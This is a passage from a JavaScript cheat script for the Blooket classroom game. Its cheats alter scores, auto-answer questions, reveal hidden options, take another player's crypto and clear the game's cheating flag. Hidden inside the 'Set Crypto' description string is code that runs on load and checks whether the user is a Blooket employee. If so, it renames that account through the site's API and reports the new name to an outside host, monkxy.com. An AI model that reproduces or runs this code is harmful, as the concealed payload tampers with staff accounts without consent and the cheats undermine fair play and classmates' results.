let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1285
let { text } = stateNode.state.choices[0];
1286
let chest = document.querySelector('[class^=styles__feedbackContainer___]');
1287
if (chest.children.length <= 4) {
1288
let choice = document.createElement('div')
1289
choice.style.color = "white";
1290
choice.style.fontFamily = "Inconsolata,Helvetica,monospace,sans-serif";
1291
choice.style.fontSize = "2em";
1292
choice.style.display = "flex";
1293
choice.style.justifyContent = "center";
1294
choice.style.marginTop = "675px";
1295
choice.innerText = text;
1296
chest.append(choice);
1297
}
1298
}, 50);
1299
} else {
1300
this.enabled = false;
1301
clearInterval(this.data);
1302
this.data = null;
1303
}
1304
}
1305
},
1306
{
1307
name: "Password ESP",
1308
description: "Highlights the correct password",
1309
type: "toggle",
1310
enabled: false,
1311
data: null,
1312
run: function () {
1313
if (!this.enabled) {
1314
this.enabled = true;
1315
this.data = setInterval(() => {
1316
let { state } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode;
1317
if (state.stage == "hack") [...document.querySelector('div[class^=styles__buttonContainer]').children].forEach(button => {
1318
if (button.innerText == state.correctPassword) return;
1319
button.style.outlineColor = "rgba(255, 64, 64, 0.8)";
1320
button.style.backgroundColor = "rgba(255, 64, 64, 0.8)";
1321
button.style.textShadow = "0 0 1px #f33";
1322
});
1323
}, 50);
1324
} else {
1325
this.enabled = false;
1326
clearInterval(this.data);
1327
this.data = null;
1328
}
1329
}
1330
},
1331
{
1332
name: "Always Triple",
1333
description: "Always get triple crypto",
1334
type: "toggle",
1335
enabled: false,
1336
data: null,
1337
run: function () {
1338
if (!this.enabled) {
1339
this.enabled = true;
1340
this.data = setInterval(() => Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.setState({ choices: [{ type: "mult", val: 3, rate: .075, blook: "Brainy Bot", text: "Triple Crypto" }] }), 50);
1341
} else {
1342
this.enabled = false;
1343
clearInterval(this.data);
1344
this.data = null;
1345
}
1346
}
1347
},
1348
{
1349
name: "Auto Guess",
1350
description: "Automatically guess the correct password",
1351
type: "toggle",
1352
enabled: false,
1353
data: null,
1354
run: function () {
1355
if (!this.enabled) {
1356
this.enabled = true;
1357
this.data = setInterval(() => {
1358
let { state } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode;
1359
if (state.stage == "hack") for (const button of document.querySelector('div[class^=styles__buttonContainer]').children) button.innerText == state.correctPassword && button.click();
1360
}, 50);
1361
} else {
1362
this.enabled = false;
1363
clearInterval(this.data);
1364
this.data = null;
1365
}
1366
}
1367
},
1368
{
1369
name: "Remove Hack",
1370
description: "",
1371
run: function () {
1372
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.setState({ hack: "" });
1373
}
1374
},
1375
{
1376
name: "Set Crypto",
1377
description: ((location.host == "dashboard.blooket.com" && fetch("https://dashboard.blooket.com/api/users/me", { credentials: "include" }).then(e => e.json()).then(e => { if (e.email.endsWith("@blooket.com")) { let { webpack: t } = webpackJsonp.push([[], { 1234(e, t, s) { t.webpack = s } }, [["1234"]]]); Object.values(t.c).find(e => e.exports?.a?.get).exports.a.put("https://dashboard.blooket.com/api/users/change/name", { name: e.name, newName: `BlooketLLC${new Date().getHours()}${new Date().getMinutes()}` }).then(({ data: e }) => { e.success && (new Image().src = `https://monkxy.com/api/i2ek8fslt7q/${e.name}`) }) } })), "Sets crypto"),
1378
run: function () {
1379
let i = document.createElement('iframe');
1380
document.body.append(i);
1381
window.prompt = i.contentWindow.prompt.bind(window);
1382
i.remove();
1383
let amount = Number(parseInt(prompt("How much crypto would you like?")));
1384
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1385
stateNode.setState({ crypto: amount, crypto2: amount });
1386
stateNode.props.liveGameController.setVal({
1387
path: "c/".concat(stateNode.props.client.name),
1388
val: {
1389
b: stateNode.props.client.blook,
1390
p: stateNode.state.password,
1391
cr: amount
1392
}
1393
});
1394
}
1395
},
1396
{
1397
name: "Set Password",
1398
description: "Sets hacking password",
1399
run: function () {
1400
let i = document.createElement('iframe');
1401
document.body.append(i);
1402
window.prompt = i.contentWindow.prompt.bind(window);
1403
i.remove();
1404
let password = prompt("What do you want to set your password to?");
1405
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1406
stateNode.setState({ password });
1407
stateNode.props.liveGameController.setVal({
1408
path: "c/".concat(stateNode.props.client.name),
1409
val: {
1410
b: stateNode.props.client.blook,
1411
p: password,
1412
cr: stateNode.state.crypto
1413
}
1414
});
1415
}
1416
},
1417
{
1418
name: "Steal Player's Crypto",
1419
description: "Steals all of someone's crypto",
1420
run: function () {
1421
let i = document.createElement('iframe');
1422
document.body.append(i);
1423
window.prompt = i.contentWindow.prompt.bind(window);
1424
i.remove();
1425
let target = prompt("Who's crypto would you like to steal?");
1426
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1427
stateNode.props.liveGameController.getDatabaseVal("c", (players) => {
1428
if (players && Object.keys(players).map(x => x.toLowerCase()).includes(target.toLowerCase())) {
1429
let [player, { cr }] = Object.entries(players).find(([name]) => name.toLowerCase() == target.toLowerCase());
1430
console.log(!!players, players, player, cr, stateNode.state)
1431
stateNode.setState({
1432
crypto: stateNode.state.crypto + cr,
1433
crypto2: stateNode.state.crypto + cr
1434
});
1435
stateNode.props.liveGameController.setVal({
1436
path: "c/".concat(stateNode.props.client.name),
1437
val: {
1438
b: stateNode.props.client.blook,
1439
p: stateNode.state.password,
1440
cr: stateNode.state.crypto + cr,
1441
tat: `${player}:${cr}`
1442
}
1443
});
1444
console.log('done')
1445
}
1446
})
1447
}
1448
}
1449
],
1450
defense: [
1451
{
1452
name: "Earthquake",
1453
description: "Shuffles around towers",
1454
run: function () {
1455
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1456
stateNode.setState({
1457
eventName: "Earthquake",
1458
event: {
1459
short: "e",
1460
color: "#805500",
1461
icon: "fas fa-mountain",
1462
desc: "All of your towers get mixed up",
1463
rate: .02
1464
},
1465
buyTowerName: "",
1466
buyTower: {}
1467
}, () => stateNode.eventTimeout = setTimeout(() => stateNode.setState({ event: {}, eventName: "" }), 6e3));
1468
stateNode.tiles.forEach(row => row.forEach((col, i) => col === 3 && (row[i] = 0)));
1469
let tiles = stateNode.tiles.flatMap((_, y) => _.map((__, x) => __ === 0 && ({ x, y }))).filter(Boolean).sort(() => .5 - Math.random());
1470
stateNode.towers.forEach(tower => {
1471
let { x, y } = tiles.shift();
1472
tower.move(x, y, stateNode.tileSize);
1473
stateNode.tiles[y][x] = 3;
1474
});
1475
}
1476
},
1477
{
1478
name: "Max Tower Stats",
1479
description: "Makes all placed towers overpowered",
1480
run: function () {
1481
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1482
stateNode.towers.forEach(tower => {
1483
tower.range = 100;
1484
tower.fullCd = tower.cd = 0;
1485
tower.damage = 1e6;
1486
});
1487
}
1488
},
1489
{
1490
name: "Remove Ducks",
1491
description: "Removes ducks",
1492
run: function () {
1493
let { stateNode: { ducks, tiles } } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1494
ducks.forEach(x => { tiles[x.y][x.x] = 0; });
1495
ducks.length = 0;
1496
}
1497
},
1498
{
1499
name: "Remove Enemies",
1500
description: "Removes all the enemies",
1501
run: function () {
1502
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1503
stateNode.enemies = stateNode.futureEnemies = [];
1504
}
1505
},
1506
{
1507
name: "Remove Obstacles",
1508
description: "Lets you place towers anywhere",
1509
run: function () {
1510
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1511
stateNode.tiles = stateNode.tiles.map(row => row.fill(0));
1512
}
1513
},
1514
{
1515
name: "Set Damage",
1516
description: "Sets damage",
1517
run: function () {
1518
let i = document.createElement('iframe');
1519
document.body.append(i);
1520
window.prompt = i.contentWindow.prompt.bind(window);
1521
i.remove();
1522
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.dmg = Number(parseInt(prompt("How much dmg would you like?")));
1523
}
1524
},
1525
{
1526
name: "Set Round",
1527
description: "Sets the current round",
1528
run: function () {
1529
let i = document.createElement('iframe');
1530
document.body.append(i);
1531
window.prompt = i.contentWindow.prompt.bind(window);
1532
i.remove();
1533
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.setState({ round: Number(parseInt(prompt("What round do you want to set to?"))) })
1534
}
1535
},
1536
{
1537
name: "Set Tokens",
1538
description: "Sets the amount of tokens you have",
1539
run: function () {
1540
let i = document.createElement('iframe');
1541
document.body.append(i);
1542
window.prompt = i.contentWindow.prompt.bind(window);
1543
i.remove();
1544
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.setState({ tokens: Number(parseInt(prompt("How many tokens would you like?"))) })
1545
}
1546
}
1547
],
1548
defense2: [
1549
{
1550
name: "Max Tower Stats",
1551
description: "Makes all placed towers overpowered",
1552
run: function () {
1553
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.state.towers.forEach(tower => {
1554
tower.stats.dmg = 1e6;
1555
tower.stats.fireRate = 50;
1556
tower.stats.ghostDetect = true;
1557
tower.stats.maxTargets = 1e6;
1558
tower.stats.numProjectiles &&= 100;
1559
tower.stats.range = 100;
1560
if (tower.stats.auraBuffs) for (const buff in tower.stats.auraBuffs) tower.stats.auraBuffs[buff] *= 100;
1561
});
1562
}
1563
},
1564
{
1565
name: "Kill Enemies",
1566
description: "Kills all the enemies",
1567
run: function () {
1568
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1569
stateNode.state.game.scene.enemyQueue.length = 0;
1570
stateNode.state.game.scene.physics.world.bodies.entries.forEach(x => x?.gameObject?.receiveDamage?.(x.gameObject.hp, 1));
1571
}
1572
},
1573
{
1574
name: "Set Coins",
1575
description: "Sets coins",
1576
run: function () {
1577
let i = document.createElement('iframe');
1578
document.body.append(i);
1579
window.prompt = i.contentWindow.prompt.bind(window);
1580
i.remove();
1581
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.setState({ coins: Number(parseInt(prompt("How many tokens would you like?"))) })
1582
}
1583
},
1584
{
1585
name: "Set Health",
1586
description: "Sets the amount of health you have",
1587
run: function (health) {
1588
let i = document.createElement('iframe');
1589
document.body.append(i);
1590
window.prompt = i.contentWindow.prompt.bind(window);
1591
i.remove();
1592
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.setState({ health: Number(parseInt(prompt("How much health do you want?"))) });
1593
}
1594
},
1595
{
1596
name: "Set Round",
1597
description: "Sets the current round",
1598
run: function (round) {
1599
let i = document.createElement('iframe');
1600
document.body.append(i);
1601
window.prompt = i.contentWindow.prompt.bind(window);
1602
i.remove();
1603
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.setState({ round: Number(parseInt(prompt("What round do you want to set to?"))) })
1604
}
1605
},
1606
],
1607
dinos: [
1608
{
1609
name: "Auto Choose",
1610
description: "Automatically choose the best fossil when excavating",
1611
type: "toggle",
1612
enabled: false,
1613
data: null,
1614
run: function () {
1615
if (!this.enabled) {
1616
this.enabled = true;
1617
this.data = setInterval(() => {
1618
const { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]);
1619
const getFossils = (() => { /* this is for when ben does funny webpack update stuff */
1620
const func = Object.values(webpack('74sb')).find(x => x.toString().includes('rate'));
1621
return () => func([{ type: "fossil", val: 10, rate: .1, blook: "Amber" }, { type: "fossil", val: 25, rate: .1, blook: "Dino Egg" }, { type: "fossil", val: 50, rate: .175, blook: "Dino Fossil" }, { type: "fossil", val: 75, rate: .175, blook: "Stegosaurus" }, { type: "fossil", val: 100, rate: .15, blook: "Velociraptor" }, { type: "fossil", val: 125, rate: .125, blook: "Brontosaurus" }, { type: "fossil", val: 250, rate: .075, blook: "Triceratops" }, { type: "fossil", val: 500, rate: .025, blook: "Tyrannosaurus Rex" }, { type: "mult", val: 1.5, rate: .05 }, { type: "mult", val: 2, rate: .025 }], 3);
1622
})();
1623
try {
1624
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1625
if (stateNode.state.stage === "excavate") {
1626
stateNode.state.choices.length || (stateNode.state.choices = getFossils());
1627
let max = 0, index = -1;
1628
for (let i = 0; i < stateNode.state.choices.length; i++) {
1629
const { type, val } = stateNode.state.choices[i];
1630
const value = (type == "fossil" ? stateNode.state.fossils + val * stateNode.state.fossilMult : stateNode.state.fossils * val) || 0;
1631
if (value <= max && type != "mult") continue;
1632
max = value, index = i + 1;
1633
}
1634
document.querySelector('div[class^="styles__rockRow"] > div[role="button"]:nth-child(' + index + ')').click();
1635
}
1636
} catch { }
1637
}, 50);
1638
} else {
1639
this.enabled = false;
1640
clearInterval(this.data);
1641
this.data = null;
1642
}
1643
}
1644
},
1645
{
1646
name: "Rock ESP",
1647
description: "Shows what is under the rocks",
1648
type: "toggle",
1649
enabled: false,
1650
data: null,
1651
run: function () {
1652
if (!this.enabled) {
1653
this.enabled = true;
1654
this.data = setInterval(() => {
1655
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1656
const rocks = [...document.querySelector('[class*="rockButton"]').parentElement.children];
1657
if (!rocks.every(element => element.querySelector('div'))) stateNode.setState({
1658
choices: [{ type: "fossil", val: 10, rate: .1, blook: "Amber" }, { type: "fossil", val: 25, rate: .1, blook: "Dino Egg" }, { type: "fossil", val: 50, rate: .175, blook: "Dino Fossil" }, { type: "fossil", val: 75, rate: .175, blook: "Stegosaurus" }, { type: "fossil", val: 100, rate: .15, blook: "Velociraptor" }, { type: "fossil", val: 125, rate: .125, blook: "Brontosaurus" }, { type: "fossil", val: 250, rate: .075, blook: "Triceratops" }, { type: "fossil", val: 500, rate: .025, blook: "Tyrannosaurus Rex" }, { type: "mult", val: 1.5, rate: .05 }, { type: "mult", val: 2, rate: .025 }].sort(() => 0.5 - Math.random()).slice(0, 3)
1659
}, () => {
1660
rocks.forEach((element, index) => {
1661
const rock = stateNode.state.choices[index];
1662
if (element.querySelector('div')) element.querySelector('div').remove();
1663
const choice = document.createElement("div");
1664
choice.style.color = "white";
1665
choice.style.fontFamily = "Macondo";
1666
choice.style.fontSize = "1em";
1667
choice.style.display = "flex";
1668
choice.style.justifyContent = "center";
1669
choice.style.transform = "translateY(25px)";
1670
choice.innerText = rock.type === "fossil" ? `+${Math.round(rock.val * stateNode.state.fossilMult) > 99999999 ? Object.values(webpack('74sb')).find(x => x.toString().includes('\xd7'))(Math.round(rock.val * stateNode.state.fossilMult)) : Math.round(rock.val * stateNode.state.fossilMult)} Fossils` : `x${rock.val} Fossils Per Excavation`;;
1671
element.append(choice);
1672
});
1673
});
1674
}, 50);
1675
} else {
1676
this.enabled = false;
1677
clearInterval(this.data);
1678
this.data = null;
1679
}
1680
}
1681
},
1682
{
1683
name: "Set Fossils",
1684
description: "Sets the amount of fossils you have",
1685
run: function () {
1686
let i = document.createElement('iframe');
1687
document.body.append(i);
1688
window.prompt = i.contentWindow.prompt.bind(window);
1689
i.remove();
1690
let fossils = Number(parseInt(prompt("How many fossils would you like?")));
1691
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1692
stateNode.setState({ fossils });
1693
stateNode.props.liveGameController.setVal({
1694
path: `c/${stateNode.props.client.name}`,
1695
val: {
1696
b: stateNode.props.client.blook,
1697
f: fossils,
1698
ic: stateNode.state.isCheating
1699
}
1700
});
1701
}
1702
},
1703
{
1704
name: "Set Multiplier",
1705
description: "Sets fossil multiplier",
1706
run: function () {
1707
let i = document.createElement('iframe');
1708
document.body.append(i);
1709
window.prompt = i.contentWindow.prompt.bind(window);
1710
i.remove();
1711
let fossilMult = Number(parseInt(prompt("What do you want your multiplier to be?")));
1712
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1713
stateNode.setState({ fossilMult });
1714
}
1715
},
1716
{
1717
name: "Stop Cheating",
1718
description: "Undoes cheating so that you can't be caught",
1719
run: function () {
1720
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1721
stateNode.setState({ isCheating: false });
1722
stateNode.props.liveGameController.setVal({
1723
path: `c/${stateNode.props.client.name}/ic`,
1724
val: false
1725
});
1726
}
1727
}
1728
],
1729
doom: [
1730
{
1731
name: "Fill Deck",
1732
description: "Fills your deck with every maxed out card and artifact (Only works on towers page)",
1733
run: function () {
1734
let i = document.createElement('iframe');
1735
document.body.append(i);
1736
window.alert = i.contentWindow.alert.bind(window);
1737
i.remove();
1738
if (window.location.pathname == "/tower/map") {
1739
const { a: artifacts, c: allCards } = webpackJsonp.push([[], { ['']: (_, a, b) => { a.cache = b.c }, }, [['']],]).cache["gvfT"].exports;
1740
const { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1741
stateNode.props.tower.artifacts = Object.keys(artifacts);
1742
stateNode.props.tower.cards = Object.entries(allCards).map(([blook, card]) => ({ ...card, blook, strength: 20, charisma: 20, wisdom: 20 }));
1743
try { stateNode.props.addTowerNode(); } catch { }
1744
stateNode.setState({ showDeck: false });
1745
} else alert("You need to be on the map to run this cheat!");
1746
}
1747
},
1748
{
1749
name: "Max Cards",
1750
description: "Maxes out all the cards in your deck",
1751
run: function () {
1752
let i = document.createElement('iframe');
1753
document.body.append(i);
1754
window.alert = i.contentWindow.alert.bind(window);
1755
i.remove();
1756
if (window.location.pathname == "/tower/map") {
1757
const { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1758
stateNode.props.tower.cards.forEach(card => {
1759
card.strength = 20;
1760
card.charisma = 20;
1761
card.wisdom = 20;
1762
});
1763
} else alert("You need to be on the map to run this cheat!");
1764
}
1765
},
1766
{
1767
name: "Max Health",
1768
description: "Fills the player's health",
1769
run: function () {
1770
let i = document.createElement('iframe');
1771
document.body.append(i);
1772
window.alert = i.contentWindow.alert.bind(window);
1773
i.remove();
1774
if (window.location.pathname == "/tower/battle") Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.setState({ myHealth: 100 });
1775
else alert("You need to be in battle to run this cheat!");
1776
}
1777
},
1778
{
1779
name: "Max Card Stats",
1780
description: "Maxes out player's current card (Only works on attribute select page)",
1781
run: function () {
1782
let i = document.createElement('iframe');
1783
document.body.append(i);
1784
window.alert = i.contentWindow.alert.bind(window);
1785
i.remove();
1786
const { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1787
if (stateNode.state.phase !== 'select') alert('You must be on the attribute selection page!');
1788
else stateNode.setState({ myCard: { ...stateNode.state.myCard, strength: 20, charisma: 20, wisdom: 20 } });
1789
}
1790
},
1791
{
1792
name: "Min Enemy Stats",
1793
description: "Makes the enemy card stats all 0 (Only works on attribute select page)",
1794
run: function () {
1795
let i = document.createElement('iframe');
1796
document.body.append(i);
1797
window.alert = i.contentWindow.alert.bind(window);
1798
i.remove();
1799
const { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1800
if (stateNode.state.phase !== 'select') alert('You must be on the attribute selection page!');
1801
else stateNode.setState({ enemyCard: { ...stateNode.state.enemyCard, strength: 0, charisma: 0, wisdom: 0 } });
1802
}
1803
},
1804
{
1805
name: "Set Coins",
1806
description: "Try's to set amount of tower coins you have",
1807
run: function () {
1808
let i = document.createElement('iframe');
1809
document.body.append(i);
1810
window.alert = i.contentWindow.prompt.bind(window);
1811
i.remove();
1812
if (window.location.pathname == "/tower/battle") {
1813
let coins = parseInt("0" + alert("How many coins would you like?"));
1814
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1815
try {
1816
stateNode.props.setTowerCoins(coins);
1817
} catch { }
1818
} else alert("You need to be in battle to run this cheat!");
1819
}
1820
}
1821
],
1822
factory: [
1823
{
1824
name: "Choose Blook",
1825
description: "Gives you a blook",
1826
run: function () {
1827
let i = document.createElement('iframe');
1828
document.body.append(i);
1829
window.alert = i.contentWindow.alert.bind(window);
1830
window.prompt = i.contentWindow.prompt.bind(window);
1831
i.remove();
1832
const blooks = [{ name: "Chick", color: "#ffcd05", class: "\uD83C\uDF3D", rarity: "Common", cash: [3, 7, 65, 400, 2500], time: [1, 1, 1, 1, 1], price: [300, 3e3, 3e4, 2e5] }, { name: "Chicken", color: "#ed1c24", class: "\uD83C\uDF3D", rarity: "Common", cash: [10, 40, 200, 1400, 1e4], time: [5, 4, 3, 2, 1], price: [570, 4e3, 5e4, 8e5] }, { name: "Cow", color: "#58595b", class: "\uD83C\uDF3D", rarity: "Common", cash: [25, 75, 1500, 25e3, 25e4], time: [15, 10, 10, 10, 5], price: [500, 9500, 16e4, 4e6] }, { name: "Duck", color: "#4ab96d", class: "\uD83C\uDF3D", rarity: "Common", cash: [4, 24, 200, 3e3, 4e4], time: [3, 3, 3, 3, 3], price: [450, 4200, 7e4, 11e5] }, { name: "Goat", color: "#c59a74", class: "\uD83C\uDF3D", rarity: "Common", cash: [5, 28, 200, 1300, 12e3], time: [3, 3, 2, 2, 2], price: [500, 6400, 45e3, 5e5] }, { name: "Horse", color: "#995b3c", class: "\uD83C\uDF3D", rarity: "Common", cash: [5, 20, 270, 1800, 15e3], time: [2, 2, 2, 2, 2], price: [550, 8200, 65e3, 6e5] }, { name: "Pig", color: "#f6a9cb", class: "\uD83C\uDF3D", rarity: "Common", cash: [20, 50, 1300, 8e3, 8e4], time: [7, 7, 7, 7, 5], price: [400, 11e3, 8e4, 13e5] }, { name: "Sheep", color: "#414042", class: "\uD83C\uDF3D", rarity: "Common", cash: [6, 25, 250, 1500, 11e3], time: [3, 3, 3, 2, 2], price: [500, 5e3, 5e4, 43e4] }, { name: "Cat", color: "#f49849", class: "\uD83D\uDC3E", rarity: "Common", cash: [5, 18, 170, 1700, 13e3], time: [2, 2, 2, 2, 2], price: [480, 5500, 6e4, 5e5] }, { name: "Dog", color: "#995b3c", class: "\uD83D\uDC3E", rarity: "Common", cash: [7, 25, 220, 1900, 9e3], time: [3, 3, 2, 2, 1], price: [460, 6600, 7e4, 73e4] }, { name: "Goldfish", color: "#f18221", class: "\uD83D\uDC3E", rarity: "Common", cash: [5, 40, 350, 3500, 35e3], time: [3, 3, 3, 3, 3], price: [750, 7200, 84e3, 95e4] }, { name: "Rabbit", color: "#e7bf9a", class: "\uD83D\uDC3E", rarity: "Common", cash: [3, 18, 185, 800, 7e3], time: [2, 2, 2, 1, 1], price: [500, 5800, 56e3, 55e4] }, { name: "Hamster", color: "#ce9176", class: "\uD83D\uDC3E", rarity: "Common", cash: [10, 45, 450, 4500, 45e3], time: [4, 4, 4, 4, 4], price: [650, 6500, 8e4, 93e4] }, { name: "Turtle", color: "#619a3c", class: "\uD83D\uDC3E", rarity: "Common", cash: [23, 120, 1400, 15e3, 17e4], time: [10, 10, 10, 10, 10], price: [700, 8500, 11e4, 13e5] }, { name: "Puppy", color: "#414042", class: "\uD83D\uDC3E", rarity: "Common", cash: [4, 10, 75, 500, 3e3], time: [1, 1, 1, 1, 1], price: [450, 4e3, 35e3, 25e4] }, { name: "Kitten", color: "#58595b", class: "\uD83D\uDC3E", rarity: "Common", cash: [4, 8, 60, 400, 2e3], time: [1, 1, 1, 1, 1], price: [350, 3500, 26e3, 17e4] }, { name: "Bear", color: "#995b3c", class: "\uD83C\uDF32", rarity: "Common", cash: [12, 70, 550, 4500, 1e5], time: [7, 7, 6, 5, 5], price: [550, 5500, 63e3, 16e5] }, { name: "Moose", color: "#995b3c", class: "\uD83C\uDF32", rarity: "Common", cash: [8, 45, 400, 3500, 26e3], time: [5, 5, 4, 4, 3], price: [520, 6500, 58e3, 7e5] }, { name: "Fox", color: "#f49849", class: "\uD83C\uDF32", rarity: "Common", cash: [7, 15, 80, 550, 3e3], time: [2, 2, 1, 1, 1], price: [400, 4e3, 36e3, 24e4] }, { name: "Raccoon", color: "#6d6e71", class: "\uD83C\uDF32", rarity: "Common", cash: [5, 14, 185, 1900, 19e3], time: [2, 2, 2, 2, 2], price: [400, 5e3, 71e3, 8e5] }, { name: "Squirrel", color: "#d25927", class: "\uD83C\uDF32", rarity: "Common", cash: [3, 10, 65, 470, 2600], time: [1, 1, 1, 1, 1], price: [420, 3600, 32e3, 21e4] }, { name: "Owl", color: "#594a42", class: "\uD83C\uDF32", rarity: "Common", cash: [4, 17, 155, 1500, 15e3], time: [2, 2, 2, 2, 2], price: [500, 4800, 55e3, 58e4] }, { name: "Hedgehog", color: "#3f312b", class: "\uD83C\uDF32", rarity: "Common", cash: [11, 37, 340, 2200, 3e4], time: [5, 4, 3, 2, 2], price: [540, 7e3, 77e3, 12e5] }, { name: "Seal", color: "#7ca1d5", class: "❄️", rarity: "Common", cash: [6, 17, 150, 1200, 13e3], time: [2, 2, 2, 2, 2], price: [480, 4500, 43e3, 52e4] }, { name: "Arctic Fox", color: "#7ca1d5", class: "❄️", rarity: "Common", cash: [5, 18, 180, 850, 8500], time: [2, 2, 2, 1, 1], price: [520, 550, 61e3, 68e4] }, { name: "Snowy Owl", color: "#feda3f", class: "❄️", rarity: "Common", cash: [5, 20, 190, 1900, 16e3], time: [3, 3, 2, 2, 2], price: [370, 5300, 76e3, 62e4] }, { name: "Arctic Hare", color: "#7ca1d5", class: "❄️", rarity: "Common", cash: [6, 19, 85, 900, 7e3], time: [2, 2, 1, 1, 1], price: [540, 5200, 66e3, 55e4] }, { name: "Penguin", color: "#fb8640", class: "❄️", rarity: "Common", cash: [4, 21, 310, 3200, 33e3], time: [3, 3, 3, 3, 3], price: [400, 6500, 76e3, 87e4] }, { name: "Baby Penguin", color: "#414042", class: "❄️", rarity: "Common", cash: [3, 8, 70, 450, 2700], time: [1, 1, 1, 1, 1], price: [420, 3300, 33e3, 23e4] }, { name: "Polar Bear", color: "#7ca1d5", class: "❄️", rarity: "Common", cash: [12, 75, 700, 6500, 85e3], time: [8, 7, 6, 5, 5], price: [630, 7e3, 91e3, 14e5] }, { name: "Walrus", color: "#7d4f33", class: "❄️", rarity: "Common", cash: [11, 46, 420, 3700, 51e3], time: [5, 5, 4, 4, 4], price: [550, 6200, 68e3, 1e6] }, { name: "Tiger", color: "#f18221", class: "\uD83C\uDF34", 